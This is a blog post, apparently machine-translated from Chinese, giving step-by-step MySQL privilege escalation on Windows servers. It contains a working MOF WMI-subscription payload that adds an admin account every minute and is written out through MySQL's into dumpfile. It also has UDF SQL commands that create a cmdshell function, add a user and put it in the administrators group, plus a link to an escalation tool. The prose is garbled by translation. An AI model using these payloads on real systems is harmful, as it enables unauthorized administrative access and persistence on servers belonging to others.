当前位置:网站首页>MySQL authorization method
MySQL authorization method
2022-07-28 15:01:00 【Jun moshang】
MOF
principle
Take advantage of Windows Next c:/windows/system32/wbem/mof/ In the catalog nullevt.mof file , A feature that executes at a specific time every minute .
Claim for raising rights
1. The target system is Windows(Win2000,XP,Win2003);
2. If mysql The version is greater than 5.1,udf.dll The file must be placed in mysql Installation directory lib\plugin Under the folder
notes :
The directory does not exist by default , This requires us to use webshell find MYSQL Installation directory , And create it in the installation directory lib\plugin Folder , And then udf.dll Export the file to the directory .
3. If mysql Version less than 5.1, udf.dll The file in windows server 2003 Drop on c:\windows\system32 Catalog , stay windows server 2000 Place under c:\winnt\system32 Catalog .
4. master mysql Database account , Need to be root jurisdiction .
step
1、 open c:/windows/system32/wbem/mof/
2、 Put the following code nullevt.mof file
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
3、 Find a writable directory , Upload or create mof file
The format is as follows :
select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
Note that there C:\www\nullevt.mof You uploaded it mof Arbitrary path of file , But the path behind is fixed
The system will always run this code after importing .
UDF
principle
UDF To raise rights is to use MYSQL Custom function function function of , take MYSQL Account number into system system jurisdiction
step
1、 take dll The file is imported into the corresponding directory , If an import error occurs can`t open shared library error
2、 Create a custom function
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; Delete function
delete from mysql.func where name='cmdshell' Delete function
I'll use mysqlmysql The full version of Tongsha tiquan tool , You can find https://download.csdn.net/download/weixin_53549425/21345256?spm=1001.2014.3001.5501

边栏推荐
- SSH service
- 数字化转型安全问题频发,山石网科助力数字政府建设
- Node.js+express realizes the operation of MySQL database
- Install scikit learn journey
- 面试官:ThreadLocal使用场景有哪些?内存泄露问题如何避免?
- 实时切换 Core Data 的云同步状态
- Some considerations for installing Oracle11g
- 基础架构之日志管理平台及钉钉&邮件告警通知
- Crawler: from entry to imprisonment (II) -- Web collector
- (function(global,factory){
猜你喜欢

Focus on differentiated product design, intelligent technology efficiency improvement and literacy education around new citizen Finance

Pytorch GPU installation

9、 C array explanation

Qt development tips
Robot mathematics foundation 3D space position representation space position

C language related programming exercises

Google lab usage notes

Introduction to MITK

Getting started with scottplot tutorial: getting and displaying values at the mouse

Machine learning related concepts
随机推荐
如何让照片中的人物笑起来?HMS Core视频编辑服务一键微笑功能,让人物笑容更自然
我正在使用中的博客创作工具
Bcompare key expired or bcompare license key revoked
ssh服务
Shell command
Basic operation implementation of sequence table
QT qlineedit, qtextedit, qplaintextedit differences
Swiftui 4.0's new navigation system
[leetcode] sticker spelling (dynamic planning)
linux安装redis
QT environment cannot run error set
Crawler: from entry to imprisonment (II) -- Web collector
Focus on differentiated product design, intelligent technology efficiency improvement and literacy education around new citizen Finance
Getting started with scottplot tutorial: getting and displaying values at the mouse
为自定义属性包装类型添加类 @Published 的能力
The second pre class exercise
Redis persistence
MQTT入门级简单介绍与使用
国产数据库的红利还能“吃”多久?
使用Weka与Excel进行简单的数据分析